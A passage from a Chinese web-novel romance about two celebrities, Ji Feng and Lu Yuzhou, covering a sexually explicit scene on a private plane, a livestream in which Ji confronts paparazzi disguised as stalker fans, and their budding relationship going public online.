“不凶,”季沨摸摸他的脸,笑起来的样子像是一种无声的挑逗,“我喜欢床上凶一点的,陆老师尺.寸刚刚好。” 陆屿洲眼眸一深,脱到一半的衬衫被彻底撕开,一只手抓着季沨的腰身,手指几乎要陷进皮肉里,得到允许的野兽般,沿着脖颈往下吻,猛地重重地亲了下去。 影音室很快变得狼藉不堪,明明之前在车里才经历过,可是却好像怎么都不够。 季沨的专辑和影片掉落在地上,被陆屿洲拾起来做了背景音乐。 饶是平时在放得开,配合着自己的声音和画面总还是让季沨有种诡异的羞耻感,扭头想要别过脸去,却被陆屿洲捞过潮湿的长发按在桌前,强迫他抬起头来望向屏幕:“是你演话剧的那次吗,他们让你扮公主,好漂亮,季沨。” 季沨的长发被陆屿洲抓在掌心轻吻,手指却充满掌控欲印在腰间,连声音也是充满沙哑的强势:“不要闭眼。” 陆屿洲只有在这种时候才会对季沨露出他血液中隐藏的凶性,像一只在丛林中不知疲倦前进着的狼,狂风一作,周围枝叶颤抖。 季沨被他卡着下巴睁开眼睛,几乎能感受到那头狼露出尖牙刺进自己的心脏里的样子,桌上的一切都被他们扫了下去。 昨晚终于一个人做的事终于变成了两个人,飞机起飞,他们在万米高空中颠簸,季沨感觉到耳鸣。 可却清晰地听到陆屿洲在怀中说:“阮嘉说,他第一次见面的时候叫了你一句,你很喜欢……” “是这个吗?” 陆屿洲抓着他,感受到季沨已经濒临崩溃的精神,却又按着自己的节奏用已经失了清冷的嗓音唤道:“哥哥。” 飞机转进厚重的云层,季沨浑身一颤,眼前只剩下发白的光。 第57章 第五十七章 整个人房间已经狼藉得不能看, 两人隔了许久才气喘吁吁地起身。 季沨从沙发上下来的时候腿根一软,差点没有跪倒在地,又一次后悔之前脱口而出的撩拨。 如果陆屿洲之前还会碍于两人的关系有所收敛, 现在却像是不知从哪里找到了免死金牌一样,打定主意觉得季沨不会真的对他怎么样。 季沨回房间, 他立刻眼巴巴地跟进来。 “你过来干什么,”季沨揉揉发胀的手腕, 他现在浑身一片酸痛, 语气也不太好, “你房间不是在隔壁嘛?” “房间不够,隔壁给机组他们住了。”? 他们来和去都是一样的人员安排, 要是不够他们是怎么过来的。 “我突然发现机组里有个人是gay, ”陆屿洲煞有介事, “你说得对,季老师,这个世界上是没有性取向是对应还能躺在一张床上做朋友的,我觉得还是把他们分开比较好。” 季沨:…… 季沨眼睁睁看着陆屿洲将白天收起来的被子抱出来铺好:“可惜只有一床被子, 这里空调有点凉, 我抱着你睡可以吗?” 他的请求只过了一瞬,季沨还没来得及回答,陆屿洲便靠过来, 下巴搁在他的颈窝:“季沨,我想抱着你睡。” 他的语气可怜巴巴, 好似吃定了季沨吃软不吃硬的脾气, 刚刚还凶得像头饿狼一样的眼神一瞬间变得湿漉漉的, 好像是在主人面前哀求的小狗:“好不好,季沨?” 陆屿洲之前都要别人赶一步才进一寸, 怎么突然表了白跟被人换了个脑子似的:“谁教你的这招?” “咳,没,”陆屿洲赶紧把手机往后藏,此地无银三百两道,“没,没有啊,我就起飞前跟我妈打了个电话。” 那次跟陆程易通过电话之后,陆程易便将会议精神传达给了杰西卡。 杰西卡痛定思痛,觉得自己都结过这么多次婚,儿子却连个初恋都追不上实在太有辱门风,足足浪费了半个小时宝贵夜晚,将自己的恋爱宝典分享给陆屿洲。 其中最关键的一条就是——脸皮要厚,要会卖惨。 陆屿洲深以为然,原本都已经要成功踏进门去,却见季沨听了这话,突然抬手挡在门框上:“你还跟阿姨汇报情感进度?” “我……” “那我觉得,我们还没在一起就一起睡,让阿姨知道了也不太好吧。”季沨想了想,觉得不应该给长辈留下这样的印象,“至少应该尊重一下他们那个年代的思想观念。” “她观念……” 砰! 陆屿洲话还没说完,房门啪的一声地被关上了,陆屿洲原地愣了三秒,差点迈进去的步子给人退了回来,懊恼地一头撞在了门框上,恨不得把刚刚乱说话的自己给碰死。 * 飞机上没有手机玩,季沨睡得很快。 他自然不相信陆屿洲这种洁癖会真的将自己的房间放出去给机组住,于是也并不太担心他流落沙发。 不过房间空调干燥,季沨半夜被渴醒,只好摸索着下床想要去吧台找杯水喝。 谁知道刚刚推开门,就看到呆呆地坐在沙发上的陆屿洲。 琥珀色的眼睛紧紧地盯着自己门口的方向,好像是一只守门的小狗。 他们在大洋里飞着,季沨很难精准地判断现在是几点,只能从自己睡完的这一觉感知到起码应该过去了几个小时。 如果说陆屿洲故意等着季沨醒来坐在这里卖惨,那未免也太高估他。 最大的可能是……从季沨的房间里出来,他就一直没有睡。 季沨微微皱起眉:“为什么不睡觉?” 陆屿洲表情讷讷地,他这几天除了喝了季沨那杯酒,其余时间休息都不太好,下意识道:“之前节目上……我就是一觉醒来,你就走了。” 他眼中的血丝那样明显,季沨愣了愣,没想到陆屿洲会突然这么说。 就好像……在季沨失去联络的那些天里,他都是这样提心吊胆辗转难眠。 “这里是飞机上,我能走到哪里去,”季沨皱起眉,去吧台倒了杯水,“跳机也要看窗户打不打得开吧?” “我知道,”陆屿洲扣了扣手上的腕表,眼眸低垂,“我就是……睡不着。” 季沨无声地叹了口气,将手中的杯子递给他:“喝点水。” 陆屿洲乖乖地把水杯接过来喝了一口,手指捧着杯子,一双眼睛却还是紧紧地黏在季沨身上:“没关系,我等会儿就睡了,你早点休息吧。” 刚刚还在影音室里还凶得恨不得将人吞吃入腹的样子,现在好似突然变成了即将被主人抛弃的小狗一样可怜兮兮。 季沨从吧台回到房间,陆屿洲的视线就绕着他转了一个圈。 脚步在门口停下,季沨转过身,终于忍无可忍:“过来。” 陆屿洲眼睛瞬间发亮,瞬间跟了上来。 季沨一躺上床,背后滚烫健硕的身躯便贴住他。 过了一会儿,季沨翻了个身,不出所料看到陆屿洲依然睁着的眼睛。 “怎么还不睡?” 陆屿洲直到这个时候才重新想起杰西卡交给自己的东西,看着季沨的眼睛:“我睡不着。” 他眨了眨眼睛,似乎自己也觉得这台词很羞耻,背诵也不太熟练:“我,我不知道这一切是不是真的,我觉得自己心脏跳得很快。” “这几天我都在想,能见到你就很好了。” “你不用管我,你睡吧,我只要能看着你睡觉就已经很开心了。” 季沨盯着陆屿洲那张含情脉脉背台词的脸,顿觉牙酸。 那些在节目上说陆屿洲演技好的人真的该来看看他现在的样子,这东西要是有演技,江沼都能上树了。 因此季沨才更知道,陆屿洲刚刚在沙发上可怜巴巴的样子,才是真实的。 “真的吗?”季沨忍着笑,从自己演过的偶像剧里扒拉出几句台词,觉得已经用尽了毕生的演技,“自从我妈妈去世之后,从来没有人对我这么好过,也从来没有人这么在乎我。”!!!! 谁知道这么老土的情节陆屿洲居然真的信了,抓着季沨的手指,就差指天誓日地保证:“季沨,我以后肯定会对你特别特别好的。” “不对,是从现在开始。” 季沨笑了,顺着他的手指摸到陆屿洲的胸膛,像是真的要触碰他的心脏:“可是这跳也不快啊,陆老师?” 陆屿洲耳尖涨红,就在觉得快要被拆穿的时候,季沨突然带着他的手放在自己的腰窝,柔韧的细腰再一起握在陆屿洲的掌心,季沨微一挑眉,那张漂亮脸蛋带着无声的勾人意味:“那不然……换个地方试试?” 陆屿洲一愣神,季沨便松开手,就这这个姿势往他的怀里靠了一步,温和的带着淡淡的木香的身体忽然靠过来,陆屿洲的大脑一片空白,想不清楚季沨是不是允许他再来一次的意思。 可季沨却在这个时候将手搭到他的脊背上,两个人紧紧相拥,仿佛将自己嵌进彼此的骨骼,季沨的长发扫过陆屿洲的肩头,在他额上落下轻轻一吻:“好了,现在可以睡觉了吗?” 陆屿洲迷迷糊糊,觉得自己好像是进了妖狐洞的一个书生,被人轻轻地吹了一口气,便立刻要不知天昏地暗地昏过去。 可是明明都快要睡着,陆屿洲却又像眨了眨眼睛,强行回复精神,换了个姿势让季沨睡得舒服一点,又贴着他耳边,黏糊道:“季沨,我喜欢你。” 他说完,也没有要季沨回答的意思,便抱着他睡了过去:“晚安。” * 【早上好~昨晚怎么样bunny,是不是已经进房间了?】 很难说,因为他按照杰西卡教的时候没成功,可是自己在沙发上坐着的时候却成功了。 陆屿洲在吧台上榨果汁,等着季沨洗漱完出来吃饭,靠在旁边想了想,回道:【进倒是进了。】 【嗯哼!】杰西卡很是自豪,【我这么多年结过这么多次婚的经验怎么会有错,不要害羞bunny,让我猜猜你昨天在哪里睡的,沙发还是两床被子?羞涩的亚洲小可爱。】 【不是,】陆屿洲开着打着哈欠朝他走来的季沨。【他抱着我……在他的身体里。】 杰西卡:【??????????】 “给你打了点橙汁,”陆屿洲放下手机,将东西推给季沨,“吐司应该烤好了,飞机上没多少东西。” 季沨点点头,拿起手机看了一眼。 赵成良的电话锲而不舍地打了过来,自己刚刚降落开机就看到,那么他在飞机上关机的这段时间,这人不知道打了多少次。 可见是十分着急的。 但是陆屿洲说得对,那和现在季沨又有什么关系呢? 季沨抬手将电话挂了把号码拖进黑名单。 随后才看了眼消息:“我等会儿要去工作室一趟。” “工作室?” “嗯,”季沨端起橙汁来喝了一口,“之前的公司不在了,现在这么多事,总要有个新的工作室来处理。” 这倒是应该的,陆屿洲点点头:“地址选好了吗?人手够不够?我让明文过去帮你?” 季沨抬眸看他一眼:“这还没有一家呢就开始换人用了,你让人家拿一份钱打两份工啊?” 刚要来接陆屿洲的明文狠狠地打了个喷嚏,便听到像个急着给心上人献宝的:“那送给你也可以,我的东西都给你。” “咳咳咳……” 明文站起门口,微笑道:“陆老师,请问我这个东西还要送您去工厂吗?” 工厂之前有一批料子做不出效果,陆屿洲只能亲自去查看,本来是安排好的行程,但是陆屿洲现在新婚燕尔,虽然还没追上也不妨碍他一双眼睛黏着季沨。 “行了,”季沨拍拍他的手,“你还能一辈子跟我身上吗,赶紧去工厂,我也走了。” 陆屿洲知道他说得有道理,只是攥着季沨的手指,像个快要开学的小学生,站在校门口磨磨蹭蹭:“那你给我你的电话号码。” “行。” 季沨拿出手机,痛快地让他将两个号都存了。 陆屿洲飞快地看了几遍,当着季沨的面将它们背了一遍,眼睛亮晶晶的。 季沨匪夷所思看他一眼:“手机上不是可以直接拨吗?” “网上说了,会背伴侣的号码是基本要求,万一我手机丢了呢。” 陆屿洲又默背了一遍,将季沨用过的杯子收起来,自己来到他的身边:“那你在这里住哪?” 季沨报了个地址:“怎么,你要住?” “我要去给你做饭,”陆屿洲说,“想吃什么把菜单发我就好了,我下午回来去买菜。” 明文眼观鼻鼻观心,恨不得把自己缩进角落里,明明听着陆屿洲说还没在一起,可是这个对话怎么那么像是老夫老妻,就在明文觉得他们俩只是不想公开的时候,陆屿洲又问了一句:“对了,你家密码是什么?” 季沨抬眸看他一眼:“我所有的家都是一个密码。” 陆屿洲蓦地一怔,那天的萤火虫仿佛还萦绕在掌心。 他想起密码的后四位。 季沨说完这话,刚要起身离开,却被陆屿洲抓住手腕按在怀里,在他眉心落下一吻:“我喜欢你。” 季沨下意识看了眼房间里的明文,明文正背过身去望天,假装自己是角落的一片绿植。 看样子是早就见怪不怪。 但是那也不能见到谁都说一遍啊,季沨挑眉:“昨天不是说过了吗?” “嗯,”陆屿洲点点头,“昨天是昨天的喜欢,今天也很喜欢你,明天也要说喜欢你。” 也许是真的被杰西卡耳濡目染了一些,他说起情话来有一种无师自通的浪漫:“季沨,我每天都很喜欢你。” 心脏好像是被小动物的爪子轻轻地挠了一下,季沨张了张嘴,难得有哑口无言的时候,最后也只是道:“那我走了。” “好,让明文去送你。” “不用,我……” “我去工厂,他又不是这个专业的,去了也没什么用,还不如跟着你,”陆屿洲说,“让他给你开车,这样我放心一点。” 明文:??? 明文觉得自己像是个昏君买来讨好未来皇后娘的聘礼,给他缠个蝴蝶结送到了季沨的车上。 “不不不,”季沨刚要开车门,明文立刻跑到后面给他把门打开了,“季老师你坐后面就好,我来开车。” “你放心,陆老师来的时候特意转了我两份工资,说是以后你的都从他账上出。” 季沨:…… 季沨刚刚坐到后座,陆屿洲的电话就打了过来。 季沨还以为他是有什么急事,于是按下接听:“怎么了?” “没什么,”陆屿洲说,“我想你了。” “我们二十分钟前刚刚见了面。” “二十分钟就是1200秒,”陆屿洲捂住心脏,不知道从哪里学来的土味情话,“我可以想你1200次。” “你要是没什么正经事,我就先挂了。” “别挂!”陆屿洲隔着视频盯着季沨的脸,却觉得季沨怎么在视频里好像也别有感觉,隔着屏幕碰了碰季沨的侧脸,“我之前好像还没有跟你打过视频,过来补一下。” “我们没做的事情那么多,难道都要补啊?” “嗯,”陆屿洲点点头,煞有介事道,“我还没有在后备厢里送个玫瑰,给你送过生日礼物,一起过情人节,给你堆雪人,给你在唱歌表白……” 季沨听着他絮絮叨叨,车子已经一路开出城区:“你哪学来的这些东西?” “网上看的,”陆屿洲直接发给你季沨一份做好的手账,前面全是他说过的那些事,后面是一个一个的格子,“你喜欢哪个就打钩。” “我来选?” “我追你当然你来选,”陆屿洲笑道,“季老师不说了让我只听你的。” 前面的明文拐了弯,默默地给自己戴上了耳机。 结果还没来得及扣到耳朵上,车身猛地一转,耳机啪的一声掉到地上。 季沨跟着被晃了一下,手指那边的陆屿洲都感觉到了不对劲:“怎么了?!” “季老师……”明文皱眉看着后面那辆紧追不舍的车,“好像……有私生。” “这辆车从出城开始就一直跟着我们,到现在都没有变道,车上的玻璃也遮住了。” 他们都是经历过私生追车的人,那边的陆屿洲瞬间冷了脸:“下个路口下高架,看他们还跟不跟,我找几辆车去接你们。” 明文依言下了高架,这地方是城郊,周围都没几个人,可是那辆漆黑的车身依然紧紧追过来,不仅如此,居然又冒出了一辆,试图别车。 等着车来肯定来不及了,季沨拧起眉,将打到一半的视频挂掉:“我晚点再打给你。” “季沨!季沨?!” 季沨没管镜头那边的喊声,抬眸看了眼目前的路况,冷声命令:“右转。 ” “左转,把这辆车别过去。” “季老师,再转就要进草地了。” “没关系。” 季沨一点头,明文只好狠狠将车一别,车子擦着泥土落在草地上,溅起一片潮湿的泥泞,季沨抬起眼睛,清冷的目光望了眼试图跟过来的两辆车,啪的一声关上车门:“待着,别下来!” 明文手指搭在车把上,却也明白自己现在明面上还是陆屿洲的经纪人,被拍到跟季沨在一起只会更加麻烦。 眼睛紧紧望着那边的方向,他们一停,那两辆跟着的车立刻跟着停了下来。 车门打开,乌泱泱下了七八个人。 手机响个不停,是焦急的陆屿洲一遍又一遍地拨过来。 可是隔着一层玻璃,季沨将车门一锁,长腿迈出,一个人朝着那边走了过去。 第58章 第五十八章 “季沨!!!” “风风我们爱你!!!” “季沨季沨季沨季沨!!!!” 一行人有男有女, 闪光灯几乎在季沨下车的时候就亮个不停,但是除了口号,眼底的神色却看不出什么粉丝的样子, 反而是不断举着镜头朝季沨冲过来: “风风,你现在还好吗?” “两年前心理创伤是真的吗?” “明明有实力这些年为什么什么都不做?” “离开星图之后有什么打算, 还会继续拍戏吗?” 这下连明文都看得出来,这哪里像是能跟车的狂热私生粉能问出来的问题, 分明是一群狗仔打着私生的名号, 想要抢到这次季沨露面之后的独家。 这下明文就更不敢下车, 要是让这群人抓住了他那还得了,只好紧张地握着车门准备报警。 顺带动了动身上的肌肉, 虽然好久没有锻炼了, 但是等会儿万一打起来, 起码能给季沨当个人肉盾牌吧。 应该……吧? 明文扒着车窗往外看,却见季沨只是举着手机,轻轻地对着屏幕笑了一下:“哈喽~” “是的,开个直播啊。” 直播?! 不只是明文, 那几个正要靠近的狗仔也愣住了, 谁都知道季沨现在的热度,无数媒体在等着他反转后的首秀,狗仔们都举好了相机打算拍他的第一张图, 说是新闻发布会的阵仗都不会为过。 结果这个人现在,现在!自己开直播了???? 观看人数几乎在直播间开放的那一刻就破了万, 季沨笑容和煦地跟众人打着招呼, 顺带读着弹幕: “为什么现在开?”他抬眸望了眼戴着口罩试图靠近的几个私生, “本来是在开车呢,不过有两辆车一直跟着, 我猜他们一定是想我了,所以下来见见。” “刚好,我也想你们啦。” 季沨微一挑眉,对着几位狗仔手中的长枪短炮一挑眉:“不然大家一起见见?” 【什么??跟车!!卧槽这是私生吧太恶心了!】 【什么私生,不知道风滚草为什么叫风滚草吗,风滚草全员抵制私生的好不好,宣发也从来不用偷拍跟车图!!!老婆不要被他们骗了,这肯定不是风滚草,就是故意扮成粉丝要爆你料的!!!】 【虽然我也见到风风但是不是用这种方式啊,天杀的见人,跟车的死全家,老婆别放过他们,赶紧把镜头转过去让我们看看,这么喜欢偷窥别人老子让你全家也挂在热搜两天!】 【卧槽,慕名而来,季沨平时这么猛的,直接开直播战私生?不怕被爆黑料吗?】 若是平常的明星可能还是会怕一下,但是对于季沨来说,这个人所有前尘往事都已经浩浩荡荡挂在热搜一周了,粉丝和路人正出于对这人误解后的愧疚心疼期,和潜规则被下药比起来,就算是季沨现在开着直播把他们打了,估计也会站出来拍掌说打得好。 “看起来大家都很想见见你们,既然都是粉丝,不然大家现在加个联系方式?” 季沨说着朝他们迈了一步,几个瞬间跟个被碾到的小鸡仔一样齐齐后退。 开玩笑,这要是让直播间截了图,连他们出门穿的什么颜色的内裤都能扒个底朝天。 几个狗仔迅速将手机捏回去,一个赛一个地往后挤,真像是见了天敌的狗。 “跑什么,”季沨脸上带着笑,“不是我的粉丝吗?不然你们也像陆老师讲讲我的喜好,让我判断一下?” “左边这位鞋底似乎入镜了一点,脚上穿的……空军一号吗?” 季沨话音刚落,那人惊弓之鸟一般向后跳了一步,一脚踩到后面那人的脚上,两人的表情都是一阵扭曲,眼睛都快要皱到眉毛上了,但是谁都不敢发出一点声音。 狗仔们脸色难看地相互望了一遍,正是因为他们本来就做得这一行,才更清楚这种毫无底线地侵犯隐私的可怕之处。 “怎么,现在知道害怕了?不就是拍个鞋子而已,你们当初找到我名下那么多豪宅出入图的时候也没犹豫啊,连我穿个短裤扔个垃圾的照片都放上去了?” 季沨手机一晃:“左边这个,身上是罗意威的新款吧,看起来收入不错?”!!!! 那人冷汗直冒,迅速往旁边去靠,右脚压着旁边那人的左脚,胳膊死死地跨在一起,七个人瑟瑟发抖挤在一点视线盲区,明明是来拍人的却被拍的堵得抱头鼠窜,感觉要是季沨再前进一步,他们估计能当场跳进河里去了。 “我也想让他们跟你们打招呼,但是他们看起来好像不是很想的样子,可能觉得不好意思见你们吧?”季沨慢悠悠读着弹幕,“开的什么车?” “好啊稍等我看一眼。” 季沨幽幽道:“好像是海A7……” “季沨!” 听着他差点要爆出车牌,其中一人终于忍不住开口了,他学过一点伪音,只尽力用自己矫饰过的声音道:“我们错了!!!” “季哥!风哥!你大人有大量!不要跟我们计较,求求你了!!!” “你别拍!我们错了!我们以后再也不跟着你了!求求你别拍了!!!” 【哈哈哈哈哈哈救命笑死我,第一次见到跟拍跟明星说求你别拍了!】 【不愧是你啊季沨,当代倒反天罡第一人!!】 【但是不得不说,真的很爽啊。】 【真的很爽加一!!反黑从来不用粉丝动手,粉上季沨你就偷着乐吧,不愧是你啊老婆!】 “可以啊,”季沨将摄像头翻转过来对着自己的脸,“只是你们几个不拍可不行。” “回去告诉你们的同行,以后少追我的车,离我远一点。” 他说着晃晃手机:“不然,我什么时候手一抖让他跟我一起出道,可就说不定了。” “当然啦,你们几个拍照技术这么好,能在圈里继续发光发热也不一定呢。” 季沨望了他们一眼,一只手插进口袋,懒散道:“给你们一分钟,自己开车走,保证等会儿镜头扫过的时候没有人,可以做到吧?” 七个人发誓自己这辈子都没有开过这么快的车。 一分钟还没过半,场景里已经干干净净,季沨抬眸看了一眼,继续跟弹幕聊天:“没有,已经走了。” “扒他们干什么,他们有什么好关注的,狗咬你你又不是非要咬狗一口。” 季沨说着抬眸看了眼不远处河岸,好像是那一次跟车也是在河边,那时候他还是Buttland的队长,将队友锁在车上,揪着那人的领子骂道:“滚,草。” 不过是三年前。 仅仅过了三年,当初莽撞的少年已经变得成熟内敛,他学会了用更加一劳永逸的方式解决所有问题,那些锋芒好像是被磨成了镶嵌在身上的碎钻,镜头里,季沨的额前的发被微风吹起,漂亮的眸子望着前方,轻轻地勾了下唇角。 “好了,不下播,跟你们聊聊天?这两天不是都说了想我了吗?” 季沨对粉丝总是很温柔的,不然也不会让那么多风滚草死心塌地,弹幕里一片尖叫,看着季沨打开后备厢,从里面翻出了露营用的桌布,饮料,还有一箱子零食。 所有人都在等着季沨的第一次露面,等着他的第一次采访,等着他谈起经历的那些,可是没有人想到,季沨真正第一次聊起来的时候,居然是坐在河边,用手机支架开着直播,没有灯光没有摄像没有化妆,没有任何矫情和卖惨的意思,手上甚至还拿了一包芒果干。 好像他不是什么一夜翻红的顶流明星,而是随时可以唠家常的知心哥哥。 于是粉丝也真的和他唠家常: “怎么后备箱里这些?不是我放的,嗯……可能是担心我过不好的田螺姑娘。” “是不是喜欢吃这个?”季沨看了看手上的芒果干,“喜欢啊,但是之前经纪人都不让我多吃,一直不敢。” “现在,现在没有经纪人啦,这不是要自己开工作室做老板吗?” “以后做什么?有什么就做什么吧,不是一直都这样。” 他想了想:“不过以后可能更倾向于选择能对的能力有所提升的吧,毕竟也年纪不小啦。” “你们会一直陪着我?好啊,”季沨朝着屏幕比了个飞吻,“那我也努力陪你们久一点。” 弹幕上一阵捂心脏的哀嚎,季沨手指往下滑,直到找到自己想要的那一个。 “生活上有什么安排?” 季沨抬起眼,看着匆匆忙忙朝着这里跑来的陆屿洲,他似乎是知道季沨被追车的那一刻起,就直接从去工厂的路上掉了头,脚下沾了几片草叶,眼角眉梢是掩不住的着急,不过今天的阳光很好,映得他额头的薄汗都闪闪发亮。 “嗯……也没什么特别的安排。” 陆屿洲看到季沨没事,脚步这才慢下来,看着季沨坐在河岸,长发束在耳后,衬衫被风吹得鼓起:“不过最近有人追我。” 季沨淡淡地笑了,对着镜头道:“等他追到了,就谈个恋爱吧。” 第59章 第五十九章 #季沨恋爱# 继一阵腥风血雨之后, 这个词条再次挂上了热搜。 只是这一次,没人拎着资料甩在季沨的桌上逼他公关,也没有人盯着任何有苗头的对家迅速剿灭。 甚至没人骂他。 骂他做什么呢? 季沨一没有拿这个炒作, 二没有刻意隐瞒,更何况, 如果一个人在短短几天内经历了几乎全网的黑料,公司解决, 伤痛和旧痕都被扒了一遍。 这种时候, 别说了谈恋爱了, 他只要不退圈,干什么粉丝都能接受。 而且, 对真正喜欢他的粉丝来说, 如果能有一个人陪在他身边, 替他分担一些,反而是一件好事。 【呜呜呜呜不知道男嫂子什么样,希望会做饭贤惠一点,风风总是照顾不好自己不好好吃饭, 他自己又有胃病, 拜托拜托一定要照顾好他。】 【是啊,希望找个乖巧听话工作不太忙的,最后在风风拍戏的时候也一起跟组好了!】 【对方家庭怎么样啊, 风风妈妈去世得早,最好不要有什么婆媳矛盾吧, 不然我们风风都没有一个娘家人撑腰呢。】 【你们怎么知道是娘家人, 万一是婆家呢, 虽然他当初说是下面那个,但是他们这个圈子0.5才是最多的吧。】 【对哦, 满足贤惠听话乖巧家庭和睦小鸟依人,这怎么看起来都像是个0吧,还得是那种可爱小0。】 别墅里,陆屿洲一只手刷着评论,穿着季沨非要强迫他的小黄鸭围裙,一边往骨头汤里放蘑菇,整个人看上去温柔又贤惠,因为季沨在旁边打电话,他连切菜的声音都小了许多。 只是嘴唇轻抿着,看起来不太高兴的样子。 陆屿洲不高兴,只能找一些更让他不高兴的人,将备好菜丢进汤锅,趁着炖汤的功夫摸出手机:“刘庚怎么样了?” “你放心,监狱那边都已经打点好了,他手上还有几个经济犯罪可以操作,绝对大半辈子出不来。” “好,”陆屿洲点点头,“谢谢,辛苦了。” “没事儿,你难得找陈叔帮个忙嘛。” “那还是要谢谢,”陆屿洲说得很郑重,“连刘庚当初的视频都可以挖出来,您一定费了不少了功夫。” “你是说之前爆出来的酒店视频吗?那个不是我弄出来的。” “什么?” “我之前找人诱使他自己承认,谁知道视频还没放出去,就有人匿名提供了这个视频,说自己是之前酒店的员工,主动爆料的,我寻思这个比我们那个好点,才用的这个。” 陆屿洲隐隐皱起眉:“不是你?” “不是啊,怎么了?” 陆屿洲握着手机,神思不属地盯着面前的汤,直到里头都开始咕噜咕噜冒泡。 “陆屿洲?陆屿洲!” 季沨唤道:“你怎么了?” “没什么,没事,”陆屿洲这才回过神,赶紧将汤盛了过来,“好了,吃饭吧。” 陆屿洲坐下来给季沨盛了汤,自己的碗却还是空的,他却没动,只是抬眸,深深地望了季沨一眼。 季沨抬起头,又问了一遍:“你怎么了?” 陆屿洲咬了咬嘴唇,终于还是问出口了一个:“你刚刚为什么要一个人下车?” “刚刚?”季沨夹菜的动作一顿,知道他是在说私生的事情,不以为意道,“车上就我和明文两个人,我不下难道带着他下吗?他可是你的经纪人。” “再说了,”瞥见陆屿洲脸色不太好看,于是季沨又添了一句,“几个狗仔而已,我这些年见得多了,没什么关系。” “但是万一……” 陆屿洲手中的筷子捏得死紧:“万一他们不只是狗仔呢,万一他们手里面有别的东西呢,万一……” 没人知道陆屿洲被挂了电话的那一刻有多后怕,他明明已经在尽力赶到了,但是季沨在处理问题的时候,似乎根本没有把他考虑在内。 仔细想想,季沨确实从来没有对他提出过什么要求,他所有的话都是——“你要不要我帮忙”,“你要不要我留下”,“你要我们什么关系”? 季沨要他索取,可是他自己却从来不会说要陆屿洲帮忙,要陆屿洲留下,好像无论他说什么都会点头。 即便是他们已经躺在同一张床上亲密无间,即便是陆屿洲自己试图剖开自己层层封闭的心脏,却依然觉得自己抓不住季沨。 三年前的季沨把队友留在车上一个人下去,三年后面对赶来的他依然如此,那么他的出现对季沨来说到底有什么意义? 陆屿洲无法不感到挫败,但是他很清楚没有办法把这件事怪到季沨身上,于是很快道:“对不起,我只是当时太着急……太担心你了。” 陆屿洲总是会一脸真诚地说情话,季沨无奈道:“好了,事情不是都解决了吗,快点吃饭。” 陆屿洲看了一桌子摆盘精致的菜,却没有立刻开动,反而是拿出手机拍了一张,垂眸给照片加了个滤镜,又望向季沨:“为什么不让明文下车,你……不想公开吗?” 季沨垂眸喝了口汤,他不用看也知道陆屿洲现在的表情:“你想吗?” “我……” “你现在可才23,”还没等到陆屿洲回答,季沨便打断了他,“要是说什么谈恋爱,以后女友粉可就没了。” “我不在乎。” 季沨抬眸看他了一眼。 陆屿洲握着手机,目光坚定,似乎只要季沨一点头,他现在就能当场开个直播官宣。 “再说了,”季沨兀自笑了声, “都还没追上呢要怎么公开?” “那就公开没追上的。” 陆屿洲说完这话,终于没有再跟季沨商量,直接拿大号发在了微博上。 他不像是其他流量天天营业,微博许久不发一条,去恋综之前都没人知道他会做饭,这下猛地炸出了不少人: 【啊啊啊啊啊老公你终于出现了!!!!】 【我不要看猪骨头呜呜呜呜我要看你老公老公发张自拍啊老公!!】 【好丰盛啊,洲洲厨艺好好!旁边这是炖的汤吗,天气凉了喝一点汤是最舒服的啦~我也喜欢喝排骨汤。】 【看起来分量不少哦,自己喝还是给家里人做的呀?】 陆屿洲一连翻到最下面,才终于在万千评论中找到刚刚那条,单独挑出来,回复道:“在追人。” 【????????卧槽????】 【不是,是我想的那个追人吗啊啊????】 【草草草草草草草草草草!!!】 上面那条评论刚发出去,就被陆屿洲抬手给删除了,随后又挑了另外一条回复道:“是,追上了再跟你们说。” #陆屿洲追人# 这个热搜在短短半小时迅速登顶,跟#季沨恋爱#此起彼伏你上我下。 这种场面让人想到之前的星光盛典,只不过当时的两个词条是—— #季沨冷脸# #陆屿洲转身# 而现在,他们一个:“有人在追我”,另外一个:“在追人”。 唯粉瑟瑟发抖,黑粉无从下手,就连CP粉都有些晕头。 毕竟磕CP这种事大部分都是渣子里面找糖吃,这种正主把糖粥都给怼到脸上的,很难想是不是在搞什么大动作。 最开心的当属潘叙,毕竟这俩人要是真的成了,那他们的恋综不就是小情侣的恋爱日记吗,暧昧期争吵期复合期一应俱全!他简直就是个天才! 免费的热度不蹭白不蹭,于是潘叙当场宣布,恋综宣发不日进行,记录CP将第一次在节目外线下合体! 此言一出,连门口树上的票都给抢光了。 * “嗨Buuny!!” 陆屿洲刚刚放下手机准备出发,杰西卡的电话就打了过来:“小甜心追得怎么样,现在可以登堂入室了吗?” 外面下了雨,陆屿洲正要撑伞去接季沨,面无表情地打断她:“登堂入室不是这么用的。” “不过我现在确实是住在他家里的。” “太棒了Bunny!我真为你这卓越的天赋骄傲,果然是我的孩子,”杰西卡兴奋道,“看来你已经可以进行下一阶段了。” 陆屿洲原本打算拿两把伞,想了想又换成一把,换了个跟自己今天的穿搭比较配的,顺口问:“下一个阶段是什么?” “当然是离开他。”???! 陆屿洲连一把伞都不愿意跟季沨分开:“不可能。” “不是真的分开bunny,”杰西卡安慰他,“中国兵法有个叫什么来着,欲亲纵欲……” “欲擒故纵?” “yep!”杰西卡点头,“就是这个。” “他现在应该喜欢了你的存在,你的问候,你强健而又美好的身体,你的汹涌如大海般的力量,这种时候,如果你和他分开,他就会感到失落,感觉焦躁,察觉到你的重要性,才会意识到你是多么的无与伦比不可替代……” “最好是再趁分开的时候发一点跟别人出去玩的推特啦,可以更方便试探他的态度哦~” “他要是因此而吃醋,那就说明你的成果已经可以收获了。” 陆屿洲拧起眉:“我不做。” “相信妈咪亲爱的,”杰西卡循循善诱,“这是我这么多次婚姻的宝贵经验。” “但他不是我的成果,”陆屿洲平静道,“他是我的爱人。” “你有没有想过,杰西卡,正是因为你这个心态,所以你才结了那多次婚,”陆屿洲冷冷道,“爱人是需要关怀的,而不是试探,这只能是你对这段关系没有安全感的表现。” 杰西卡纵横情场多年,第一次被自己恋爱还没谈上的儿子教育。 而且他居然说得还有几分道理。 杰西卡一愣,结果正要撑伞的陆屿洲脚步突然一停:“你刚刚……说什么来着的?” “说让反思一下自己为什么结了那么次婚。” “不是,是刚刚……”陆屿洲望着外面朦胧的雨丝,突然好像是在那一片朦胧大雾中察觉到了什么,“你教我怎么做来着?” “欲擒故纵?离开他一段时间,让他意识到你的重要性,发推特故意暧昧让他吃醋?” 陆屿洲微微拧起了眉。 他冷不丁想起……季沨曾经发在朋友圈的那杯酒。 